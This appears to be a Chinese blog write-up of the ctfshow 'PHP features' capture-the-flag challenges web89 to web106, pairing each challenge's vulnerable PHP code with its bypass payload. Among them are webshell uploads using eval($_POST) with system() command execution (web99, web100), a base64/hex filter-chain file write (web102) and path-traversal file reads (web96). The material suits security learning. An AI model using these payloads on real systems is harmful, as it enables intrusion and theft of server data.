ctfshow-php特性

基础知识:

php特性 – 青嵐

web89—正则表达式绕过

<?php

include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
   $num = $_GET['num'];
   if(preg_match("/[0-9]/", $num)){
       die("no no no!");
  }
   if(intval($num)){
       echo $flag;
  }
}

1、通过get方式提交一个num

2、如果通过正则匹配,提交的num中有0-9,拦截输出no no no

3、如果intval后num值为整数,输出flag

我们可以直接提交一个数组,达到绕过的效果

/?num[]=

web90—intval() 函数

<?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
   $num = $_GET['num'];
   if($num==="4476"){
       die("no no no!");
  }
   if(intval($num,0)===4476){
       echo $flag;
  }else{
       echo intval($num,0);
  }
}

1、通过get方式传递值给num

2、如果num值等于4476,拦截;‘===’的强比较后的4476为双引号,作为字符串进行比较

3、如果通过intval函数十进制变化后等于4476,输出flag

那么可以通过进制转换,将十进制4476转成十六进制117c,赋值num

intval函数中十六进制前需要带有0x

/?num=0x117c

web91—正则表达式修饰符

<?php
   
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
   if(preg_match('/^php$/i', $a)){
       echo 'hacker';
  }
   else{
       echo $flag;
  }
}
else{
   echo 'nonononono';
}

1、通过get方式传递cmd值

2、正则匹配值中是否包含php,i为不区分大小写,m为多行匹配

3、再一次正则匹配是否包含php,不区分大小写

4、上述两个判断为正则输出hacker,否则输出flag

可以知道上面只在第一行的if判断进行多行匹配,第二行的if判断只判断第一行

因此可以进行换行,让其在第二行匹配到php,第一行不匹配到php,即到else判断输出flag

url中%0a为换行符

/?cmd=%0aphp

web92—intval()函数

<?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
   $num = $_GET['num'];
   if($num==4476){
       die("no no no!");
  }
   if(intval($num,0)==4476){
       echo $flag;
  }else{
       echo intval($num,0);
  }
}

与web90一样做法,通过进制转换

/?num=0x117c /十六进制
/?num=010574 /八进制

web93—intval()函数

<?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
   $num = $_GET['num'];
   if($num==4476){
       die("no no no!");
  }
   if(preg_match("/[a-z]/i", $num)){
       die("no no no!");
  }
   if(intval($num,0)==4476){
       echo $flag;
  }else{
       echo intval($num,0);
  }
}

过滤跟上个题一样,多了过滤掉a-z的大小写字母

这次就不能用十六进制,用八进制绕过

/?num=010574

web94—strpos()函数

<?php
   
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
   $num = $_GET['num'];
   if($num==="4476"){
       die("no no no!");
  }
   if(preg_match("/[a-z]/i", $num)){
       die("no no no!");
  }
   if(!strpos($num, "0")){
       die("no no no!");
  }
   if(intval($num,0)===4476){
       echo $flag;
  }
}

其它和上一题一样

多了strpos函数

这里的判断是,如果传递的变量里有0,!取反,即传递的变量里没有0,则拦截

因此通过分析,需要给传递参数里带有0,并且通过intval函数变化后值仍等于4476

/?num=4476.0

web95—intval()函数

<?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
   $num = $_GET['num'];
   if($num==4476){
       die("no no no!");
  }
   if(preg_match("/[a-z]|\./i", $num)){
       die("no no no!!");
  }
   if(!strpos($num, "0")){
       die("no no no!!!");
  }
   if(intval($num,0)===4476){
       echo $flag;
  }
}

对比上一题多了过滤小数点

第一个判断从强类型比较变成弱类型,因此只要值不与4476相等即可

第二个判断只多了过滤小数点,因此可以尝试各种符号

/?num=+010574
/?num= 010574
/?num=%2B010574   /对+进行url编码
/?num=%20010574   /对空格进行url编码

intval函数对+和空格会进行删除处理,最终得到整数

web96—highlight_file

<?php

highlight_file(__FILE__);

if(isset($_GET['u'])){
   if($_GET['u']=='flag.php'){
       die("no no no");
  }else{
       highlight_file($_GET['u']);
  }


}

1、get方式传递一个参数u

2、u参数与flag.php弱类型比较,为真,拦截

3、否则对u包含的文件进行文件语法高亮显示

/highlight_file() 对文本数据进行读入,识别关键字,加入css样式混合输出

这相当于文件包含读取,有很多等效的payload

/?u=/var/www/html/flag.php      /绝对路径 通过报错提示得到当前所在目录
/?u=./flag.php                 /相对路径
/?u=php://filter/resource=flag.php /伪协议
/?u=/var/www/html/../../../ctfshow../../var/www/html/flag.php /通过中间不存在的目录进行上下级目录切换

web97—md5

<?php


include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

1、post传入a和b参数

2、如果a的值和b的值不相等

3、并且a和b的md5值相等

4、输出flag,否则输出wrong

php中md5函数无法处理数组,直接返回null,因此为全等

a[]=1&b[]=2             /POST方式

web98—三目运算符

<?php

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?>

第一行,三目运算符,如果通过get传递参数,那么POST传递的值会覆盖GET

第二、三行,意义不大,第三行会覆盖第二行

第四行,如果get传递一个HTTP_FLAG为flag,输出flag,否则显示index.php代码

因此最终post传递的值会覆盖get,post传递值get随便传即可

/?1=1    /GET方式随便填     HTTP_FLAG=flag    /POST方式

web99—in_array

<?php

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
   array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
   file_put_contents($_GET['n'], $_POST['content']);
}

?>

array_push() 向数组尾部插入一个或多个元素。

isset — 检测变量是否已设置并且非 NULL

in_array() 函数搜索数组中是否存在指定的值。

file_put_contents(file,data,mode,context) file,规定写入数据的文件;data,写入文件的数据;mode,如何打开/写入文件;context,规定文件句柄的环境。

1、$allow是一个数组,通过array_push函数,将随机数添加到数组里,且必含1

2、如果变量n通过get方式传递了数值并且n里含有数组内的值,那么将写入文件,文件名为n,内容为post传递的值

利用in_array()的特性,弱比较特性,'1.php'==1

/?n=1.php   /get方式      content=<?php @eval($_POST['hermitaria']);?>  /post方式
/1.php    /get方式       a=system("ls")     /post方式    
得到当前目录下的文件后,读取flag文件
/1.php    /get方式     a=system("tac/sort flag36d.php"); /post方式 

web100、101—反射类ReflectionClass

<?php

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
   if(!preg_match("/\;/", $v2)){
       if(preg_match("/\;/", $v3)){
           eval("$v2('ctfshow')$v3");
      }
  }
   
}


?>

1、包含一个ctfshow.php文件,建立ctfshow类的反射,v1等通过get方式传值

2、这里主要是运算优先级。$v0=is_numeric($v1)的赋值语句优先级是大于逻辑运算符and,只要保证v0为数字即可进入if语句

<?php
$a=true and false and false;
var_dump($a);  返回true

$a=true && false && false;
var_dump($a);  返回false

写入shell解法

这种解法没有利用代码中类的反射解法

在if语句后

正则匹配v2变量,不能含有\ ;

正则匹配v3变量,需含有\ ;

因此可以在v2处传入一个shell,v3处传入;即可

?v1=1&v2=eval($_POST[1])?>%23&v3=;       //get
1=system("ls");                           //post
1=system("sort ctfshow.php");             //得到flag

其中flag的flag_is_1b42b2680x2d8b3a0x2d44600x2d85cf0x2db1f1ea62055a

0x2d为- 需要转换成

ctfshow{1b42b268-8b3a-4460-85cf-b1f1ea62055a}

反射类ReflectionClass解法

这里代码建立了ctfshow类的反射

$ctfshow = new ctfshow();

并且注释提示flag在ctfshow里

//flag in class ctfshow;

最简单的方法是直接输出这个类

echo new ReflectionClass('ctfshow');

payload为

?v1=1&v2=echo new ReflectionClass&v3=;

web102、103—is_numeric

<?php

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
   $s = substr($v2,2);
   $str = call_user_func($v1,$s);
   echo $str;
   file_put_contents($v3,$str);
}
else{
   die('hacker');
}


?>

1、赋值运算符优先级高于and,所以只要v2为数字型即可满足

2、$s从第三位开始截取v2变量

3、call_user_func — 把第一个参数作为回调函数调用。即将$s作为参数调用v1传递的函数

4、将$str的值的内容写入名为$v3的文件

is_numeric在php5的环境中,是可以识别十六进制的,也就是说,如果传入v2=0x66也是可以识别为数字的。

但该环境为php7,需要另找方法绕过

虽然文件内容不好控制,但是可以利用伪协议将内容进行编码转换。

所以能找到一条php语句经过base64编码,在转换为16进制之后全部都是数字就可以通过

$a='<?=`cat *`;';
$b=base64_encode($a);  // PD89YGNhdCAqYDs=
$c=bin2hex($b);      //这里直接用去掉=的base64 bin2hex() 函数把 ASCII 字符的字符串转换为十六进制值。
输出   5044383959474e6864434171594473

带e的话会被认为是科学计数法,可以通过is_numeric检测。
大家可以尝试下去掉=和带着=的base64解码出来的内容是相同的。因为等号在base64中只是起到填充的作用,不影响具体的数据内容。

最终payload,其中v2前面的11为填充字符,确保截取的数字有效

v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php post: v1=hex2bin

最终访问1.php查看源码得到flag

web104—sha1

<?php

highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
   $v1 = $_POST['v1'];
   $v2 = $_GET['v2'];
   if(sha1($v1)==sha1($v2)){
       echo $flag;
  }
}


?>

1、通过post方式传递v1,get方式传递v2

2、如果v1和v2的sha1值相等,输出flag

这题出题人没有比较v1和v2的值,直接传递相等的值也可以

web105—变量覆盖

<?php

highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
   if($key==='error'){
       die("what are you doing?!");
  }
   $$key=$$value;
}foreach($_POST as $key => $value){
   if($value==='flag'){
       die("what are you doing?!");
  }
   $$key=$$value;
}
if(!($_POST['flag']==$flag)){
   die($error);
}
echo "your are good".$flag."\n";
die($suces);

?>

通过die($error)输出

因为如果需要输出$error,就需要满足post的值不含flag,因此可以通过一个中间变量$a进行传递

$a=$flag;
$error=$a;

payload为

a=flag post: error=a

通过die($suces)

因为如果要输出$suces,就要满足post的值与flag值相等

$suces=$flag;

payload为

payload:suces=flag post:flag=

此时$scues=flag{test123};$_POST['flag']=NULL;$flag=NULL,满足($_POST['flag']==$flag)

web106—sha1

<?php

highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
   $v1 = $_POST['v1'];
   $v2 = $_GET['v2'];
   if(sha1($v1)==sha1($v2) && $v1!=$v2){
       echo $flag;
  }
}



?>

对比104多了对v1和v2的值进行比较

但仍可以利用数组绕过

/?v1[]=1                    //get方式
v2[]=2                     //post方式

如果加上强制类型转换,有以下符合的

aaroZmOk aaK1STfY aaO8zKZF aa3OFF9m

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇